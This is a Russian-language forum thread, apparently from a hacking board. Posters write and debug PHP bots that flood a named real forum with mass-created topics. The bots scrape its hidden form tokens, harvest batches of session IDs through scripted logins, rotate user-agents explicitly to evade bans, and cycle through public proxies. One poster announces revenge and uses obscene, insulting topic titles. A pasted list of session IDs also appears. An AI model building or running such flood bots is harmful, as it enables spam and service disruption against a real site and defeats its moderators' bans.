есть форум www.wapplanet.org/forum я уже два дня ищу как с помощью пхп скрипта создать там тему. подскажите плз. с меня +
PHP: <? #/*UTF-8*/ function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed());#/*чтобы случайные числа генерировались заново*/ $sid = "gQ7iq8es";/**твое ид Авторизируйся и получи его**/ $indexForum = "3";/*ИД ФОРУМА*/ $Referer = "/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm"; $UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"; $countOfMessages = 50; #число сообщенией(тем); for($i = 0;$i < $countOfMessages;$i++){ srand(make_seed()); $randNum0 = rand(1,2000); $randNum1 = rand(1,2000); $randNum2 = rand(3000,4000); $x = $randNum0/$randNum2; $y = $randNum1/$randNum2; $UserAgent = $x*$y; $head = urlencode("ТемаЧТоНадо".$x); $message = urlencode("ПростоВсемПривет".$y); ##################################################### /* сначала методом гет гружу страницу с считываю скырыте поля затем методом пост отправляю запрос=)на создание темы при одинаковых именах темы для юзеров не множаться а вот для админа(бота) да-------->бан */ $fp = fsockopen("www.wapplanet.org", 80,$errno, $errstr, 30); $headers_s = "GET ".$Referer." HTTP/1.1\r\n"; $headers_s.= "Accept: */*\r\n"; $headers_s.= "Accept-Encoding: gzip, deflate\r\n"; #$headers_s.= "Referer: http://www.wapplanet.org\r\n"; $headers_s.= "Accept-Language: ru\r\n"; #$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers_s.= "User-Agent: ".$UserAgent."\r\n"; /*через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же*/ $headers_s.= "Host: www.wapplanet.org\r\n" ; #$headers_s.= "Cache-Control: no-cache\r\n"; $headers_s.= "Connection: Close\r\n"; $headers_s.="\r\n"; echo "<pre>"; echo $headers_s ; echo "</pre>"; fputs($fp, $headers_s); $getText =""; while(!feof($fp)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fp,1000); fclose($fp); echo $getText.'</br>'; preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd); preg_match('/\d{7,}/',$rnd[0],$rnd); echo $rnd[0]."<br/>"; preg_match('/snd\d{7,}/',$getText,$snd); echo $snd[0]."<br/>"; #################################################### $data = "subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C"; $headers = "POST /forum/ HTTP/1.1\r\n"; $headers .= "Accept: */*\r\n"; $headers .= "Referer: http://www.wapplanet.org\r\n"; $headers .= "Accept-Language: ru\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Accept-Encoding: gzip, deflate\r\n"; $headers .= "User-Agent: ".$UserAgent."\r\n"; $headers .= "Host: www.wapplanet.org\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n"; $headers .= "Connection: Close\r\n"; $headers .= "Cache-Control: no-cache\r\n\r\n"; $headers .= $data; echo "<pre>"; echo "###########################################################################################<br/>"; echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>"; echo $headers; echo "</pre>"; #/* $fpFlood = fsockopen("www.wapplanet.org",80,$errno, $errstr, 30); fputs($fpFlood, $headers); $getText =""; while(!feof($fpFlood)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fpFlood,1000); fclose($fpFlood); /**/ #################### echo $getText.'</br>'; #/**/ #/*запускал с локального хоста Поэтому с кириллицей проблемы (в теме и сообщении) пока не сохранил в utf-8*/ } ?> осталось написать скрипт ,который будет получать sid'ы ************** 1.Комментариев почти нет 2.к PHP отношение не имею почти никакого ,так что не судите строго 3.На экран будет выводиться содержимое ответов сервера ---это нужно было для тестирования (убрать\оставить по желанию) 4.Не забудьте получить свой sid (мой забанен?=) Его можно увидеть в строке (в куках его вроде нет) 5.то что отобразилось в моем ответе (пхп-код)немного искажено по сравнению с оригиналом=) 6.Вроде каждому юзерагенту ставится в соответствие snd И банят по этому SND =)поэтому меняем юзер-агент =)пробовал - помогло 7.если не получается создать тему: меняйте сид \ юзер-агент \название темы\ результат:
а в чем собственно проблема?? отлавливаешь запрос при попытке создать тему, далее работа с сокетами, скриптом составляешь и отправляешь запрос .. зы: тут существует множество нюансов, которые связаны с безопасностью и шизой админа, почти все их можно обойти зыы:: конкретизируй что именно не полоучается и что смущает!
сохрани файл в utf-8 я с локального запускал-мне помогло попробуй вывести PHP: <? /*urf-8*/ echo "кириллица"; echo urldecode(urlencode("кириллица")); echo urlencode('кириллица'); ?> /* javascript:// encodeURIComponent('кириллица') = %D0%BA%D0%B8%D1%80%D0%B8%D0%BB%D0%BB%D0%B8%D1%86%D0%B0 */ ************ увидел результат скрипта в чужом исполнении=)
я буду мстить и мстя моя страшна) как научить этот скрипт ходить через проксти? или как это сделать с локолхостом?
могу сказать как бы я делал это черз сокеты на си..наверно на пхп так же вместо хоста задаешь прокси и вместо порта 80 порт прокси после get(post) задаешь не относительный путь а полный http:// там где коннектион...надо написать proxy-connection типа того ща попробую)или не ща PHP: <? $proxy = '127.0.0.1';$port='8080';#etraffic (vipm.ru) Тебе нужно указать твой адрес прокси и порт $fp = fsockopen($proxy, $port); if(!$fp){ echo "error_________"; exit ; } fputs($fp,"GET http://old.antichat.ru/util/ip/ HTTP/1.0\nProxy-Connection: Close\n\n"); echo "<pre>"; while(!feof($fp)) echo fgets($fp,1000); echo "</pre>"; fclose($fp); ?> поясни? (на всякий случай-----все скрипты я тестил на локальном)
записываем в файл сиды.... PHP: <? function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } ################################### $filename = 'sid/sid.txt';/*не забудь создать папку или поменяй путь*/ $sidCount = 50; $username= "He"; $password = "Pass"; $UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"; ################################### for($i=0;$i<$sidCount;$i++){ srand(make_seed()); $randNum0 = rand(1,2000); $randNum1 = rand(1,2000); $randNum2 = rand(3000,4000); $x = $randNum0/$randNum2; $y = $randNum1/$randNum2; $data = "username=".urlencode($username.$x)."&password=".urlencode($password.$y)."&page_size=2000"; $data.="&font=n&sp=y"; $data.="&th=0"; $data.="&use_tr=n"; $data.="&cc=n"; $data.="&p=4"; $data.="&w=htm"; $data.="&snd=%D0%90%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%D1%81%D1"; #echo "<pre>".$data."</pre>";#можно закомментировать $headers = "POST /forum/ HTTP/1.1\r\n"; $headers .= "Accept: */*\r\n"; $headers .= "Referer: http://www.wapplanet.org\r\n"; $headers .= "Accept-Language: ru\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Accept-Encoding: gzip, deflate\r\n"; $headers .= "User-Agent: ".$UserAgent."\r\n"; $headers .= "Host: www.wapplanet.org\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n"; $headers .= "Connection: Close\r\n"; $headers .= "Cache-Control: no-cache\r\n\r\n"; $headers .= $data; $fp = fsockopen("www.wapplanet.org", 80,$errno, $errstr, 30); if(!$fp) {echo "error_connect";exit;} fputs($fp, $headers); $getText =""; while(!feof($fp)) $getText.= fgets($fp,1000); fclose($fp); #echo $getText; ################################### preg_match('/sid=[A-Za-z0-9]{3,}"/',$getText,$sid); if($sid) { preg_match('/[A-Za-z0-9]{4,}/',$sid[0],$sid);####надо ставить больше 3 {число,} echo "<br>sid= ".$sid[0]; if (!$handle = fopen($filename, 'a')) { echo "Не могу открыть файл ($filename)"; exit; } if (fwrite($handle, $sid[0]."\r\n") === FALSE) { echo "Не могу произвести запись в файл ($filename)"; exit; } fclose($handle); } ################################### }#end cycle /* 8jH6ip2l 54rJ0B5t 3gmp9mGP Dr4j6jnx Q57j12VM 6A92cWLh pGyY94Le Wi0gB9ij S4zFhPVP lzzm7Xf3 F3s307eH ow40ZqWO i910cGN3 qR1dk8el r9WV2J2S aH8KcaK8 8NgK7tdL Oe1m1bA3 2fu6exM2 BdoenS83 0TuiYmR3 F4cBj6vT WLD308HJ 1b7no1eO 58jA08f7 xif3oEp4 Dm20QMd6 623R2h4P JtNw1a2J 860mcV4w 8ae6UbB4 dj4b2jNa fxw69yvy I0OVoM5W b6GaL2Ni m8XfaOA0 tNz98sfb 6pK8ddyh wPiGb5z5 2Tlvu6Uo NKFR608l s381a4g8 Os6UM2Nh X1N9Gh57 7kxjJY49 014x57Ve x8ygkb4d ki82fQMa IRBIws5n YuRGi0u4 XS68Id2n 9zq3G9Vl syMr708L Pp5jDp5s I3mOQSPk Ui9XfcIO QQkPEsj1 RLf6q1mX un01B1zh MQD33bwM lwr4ZpM4 n2gPz3e1 k8v9GHfe J0xK5X1K eRz1dTCw 37G7MH70 k6lT342f dboNWACd 5j70O0Qi 989c1668 2lr04rk3 Ri5hsK1c f5Ut2X2J Qr1xJYQC NzjghVA4 HAg0x5O5 HwWz8BTT Vjj4c44y uQkdIi9F FZ47xGUT x7R76LTv ZwpWu9fK I6K16Oa3 q74ADEMb 3xq8uj50 MomvL221 74D2tPXE 8255602L 3o9AljDv 12n0YzX1 P5On8bdg uvx68BBM 2qHssU96 mrSP4fm9 413Yq56l H1Xq9j9t TGLw7PN3 3D1a8qPL vp7PLc1F 2Y51OJFR c5x72m64 pgw8f99x gUIWyl55 JHdj18w3 G45xy24v rV7T700v Z7yGQ5XI jdEzw102 0fZH59Bo tZ4NtJ0m MmRh5Mk1 zfYeruhf 2aEC6rCL 9A26t6hp SAKI50Ny 0g0Qe15p Z12fAtxA INtwUeQj 4qpl2701 x4lIH5wo 8Es0Wix8 bnUnN625 m26kHJ20 61HW3ggo 4Kk25rjS 5z7RZyaD vn1cV8rs vORfdpYU 4NWEG88r 56r00T0m F69qsb19 6w6Ao4B3 01U3th78 BGYn4CA4 j4E52NnW Jj264g7A UPDObMUJ BLC1738n q54G18o5 j7v725vL KOhT0EKz 1e1N34wz cij59O42 4bCpt492 7jq8hmPu 6iJu3jP1 vBEzXs1k Sp920AI1 FdmX7hbV 8Pvyh4L0 */ ?> /*пробел в урлкодированной строке $data.=... убрать*/
локалхост - локальный хост=) хочу шоб денвер ходил в нет через прокси. за скрипты сенкс. щас соберу во едино
пытаюсь создать через проксик. сделал так. Code: <? set_time_limit(0); #/*UTF-8*/ function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed());#/*чтобы случайные числа генерировались заново*/ for($jj=1;$jj<14;$jj++){ /////// $fs=fopen("sid1.txt","r"); $sid=fgets($fs); fclose($fs); //////// //$sid = "h73qYO44";/**твое ид Авторизируйся и получи его**/ $indexForum = $jj;/*ИД ФОРУМА*/ $Referer = "http://wapplanet.org/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm"; $UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"; $countOfMessages = 10; #число сообщенией(тем); for($i = 0;$i < $countOfMessages;$i++){ srand(make_seed()); $randNum0 = rand(1,2000); $randNum1 = rand(1,2000); $randNum2 = rand(3000,4000); $x = $randNum0/$randNum2; $y = $randNum1/$randNum2; $UserAgent = $x*$y; $head = urldecode(urlencode("DezaPidor".$x)); $message = urldecode(urlencode("PizduiNahui!".$y)); ################################################## ### /* сначала методом гет гружу страницу с считываю скырыте поля затем методом пост отправляю запрос=)на создание темы при одинаковых именах темы для юзеров не множаться а вот для админа(бота) да-------->бан */ $proxy = "165.228.128.10"; $port="3128"; $fp = fsockopen($proxy, $port); $headers_s = "GET ".$Referer." HTTP/1.1\r\n"; $headers_s.= "Accept: */*\r\n"; $headers_s.= "Accept-Encoding: gzip, deflate\r\n"; #$headers_s.= "Referer: http://www.wapplanet.org\r\n"; $headers_s.= "Accept-Language: ru\r\n"; #$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers_s.= "User-Agent: ".$UserAgent."\r\n"; /*через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же*/ $headers_s.= "Host: www.wapplanet.org\r\n" ; #$headers_s.= "Cache-Control: no-cache\r\n"; $headers_s.= "Proxy-Connection: Close\n\n"; $headers_s.="\r\n"; //echo "<pre>"; //echo $headers_s ; //echo "</pre>"; fputs($fp, $headers_s); $getText =""; while(!feof($fp)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fp,1000); fclose($fp); echo $getText.'</br>'; preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd); preg_match('/\d{7,}/',$rnd[0],$rnd); echo $rnd[0]."<br/>"; preg_match('/snd\d{7,}/',$getText,$snd); echo $snd[0]."<br/>"; ################################################## ## $data = "http://wapplanet.org/forum/subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C"; $headers = "POST /forum/ HTTP/1.1\r\n"; $headers .= "Accept: */*\r\n"; $headers .= "Referer: http://www.wapplanet.org\r\n"; $headers .= "Accept-Language: ru\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Accept-Encoding: gzip, deflate\r\n"; $headers .= "User-Agent: ".$UserAgent."\r\n"; $headers .= "Host: www.wapplanet.org\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n"; $headers .= "Proxy-Connection: Close\n\n"; $headers .= "Cache-Control: no-cache\r\n\r\n"; $headers .= $data; //echo "<pre>"; //echo "###<br/>"; //echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>"; //echo $headers; //echo "</pre>"; echo "f=".$jj." p=".$i."<br>"; #/* $fpFlood = fsockopen($proxy, $port); fputs($fpFlood, $headers); $getText =""; while(!feof($fpFlood)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fpFlood,1000); fclose($fpFlood); /**/ #################### //echo $getText.'</br>'; #/**/ #/*запускал с локального хоста Поэтому с кириллицей проблемы (в теме и сообщении) пока не сохранил в utf-8*/ }; } ?> непашет. почему?
наконецто дошли руки доделать скрипт. но выдаёт ошибку вот сам скрипт PHP: <? set_time_limit(0); #/*UTF-8*/ function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed());#/*чтобы случайные числа генерировались заново*/ $fp=fopen("proxies.txt","r"); //файл с проксями вида адрес:потр $listp = fread($fp, 65000); fclose($fp); $proxa = explode("\n", $listp); $counter=count($proxa); for($j=0;$j<$counter;$j++){ $pp = explode(":", $proxa[$j]); $proxy =urldecode( $pp[0]); $port = urldecode($pp[1]); $fs=fopen("sid.txt","r"); $lists = fread($fs, 65000); fclose($fs); $sida = explode("\n", $lists); if ($j>count($sida)){ echo "<b>Sid закончились!</b>"; exit; }; $sid = $sida[$j]; $indexForum = $j; $Referer = "http://www.wapplanet.org/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm"; $UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"; $countOfMessages = 5; #число сообщенией(тем); for($i = 0;$i < $countOfMessages;$i++){ srand(make_seed()); $randNum0 = rand(1,2000); $randNum1 = rand(1,2000); $randNum2 = rand(3000,4000); $x = $randNum0/$randNum2; $y = $randNum1/$randNum2; $UserAgent = $x*$y; $head = urldecode(urlencode("tema".$x)); $message = urldecode(urlencode("Post".$y)); $fp = fsockopen($proxy,$port); $headers_s = "GET ".$Referer." HTTP/1.1\r\n"; $headers_s.= "Accept: /*\r\n"; $headers_s.= "Accept-Encoding: gzip, deflate\r\n"; $headers_s.= "Referer: http://www.wapplanet.org\r\n"; $headers_s.= "Accept-Language: ru\r\n"; #$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers_s.= "User-Agent: ".$UserAgent."\r\n"; //через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же $headers_s.= "Host: www.wapplanet.org\r\n" ; #$headers_s.= "Cache-Control: no-cache\r\n"; $headers_s.= "Proxy-Connection: Close\n\n"; $headers_s.="\r\n"; echo "<pre>"; echo $headers_s ; echo "</pre>"; fputs($fp, $headers_s); $getText =""; while(!feof($fp)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fp,1000); fclose($fp); echo $getText.'</br>'; preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd); preg_match('/\d{7,}/',$rnd[0],$rnd); echo $rnd[0]."<br/>"; preg_match('/snd\d{7,}/',$getText,$snd); echo $snd[0]."<br/>"; ################################################## ## $data = "forum/?subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C"; $headers = "POST http://www.wapplanet.org/".$data." HTTP/1.1\r\n"; $headers .= "Accept: */*\r\n"; $headers .= "Referer: http://www.wapplanet.org/ \r\n"; $headers .= "Accept-Language: ru\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Accept-Encoding: gzip, deflate\r\n"; $headers .= "User-Agent: ".$UserAgent."\r\n"; $headers .= "Host: www.wapplanet.org\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n"; $headers .= "Proxy-Connection: Close\n\n"; $headers .= "Cache-Control: no-cache\r\n"; $headers .= "\r\n"; $headers .= $data; echo "<pre>"; echo "###<br/>"; echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>"; echo $headers; echo "</pre>"; echo "f=".$jj." p=".$i."<br>"; #/* $fpFlood = fsockopen($proxy, $port); fputs($fpFlood, $headers); $getText =""; while(!feof($fpFlood)) #echo HtmlSpecialChars(fgets($fp,1000)); $getText.= fgets($fpFlood,1000); fclose($fpFlood); /**/ #################### echo $getText.'</br>'; #/**/ }; } ?>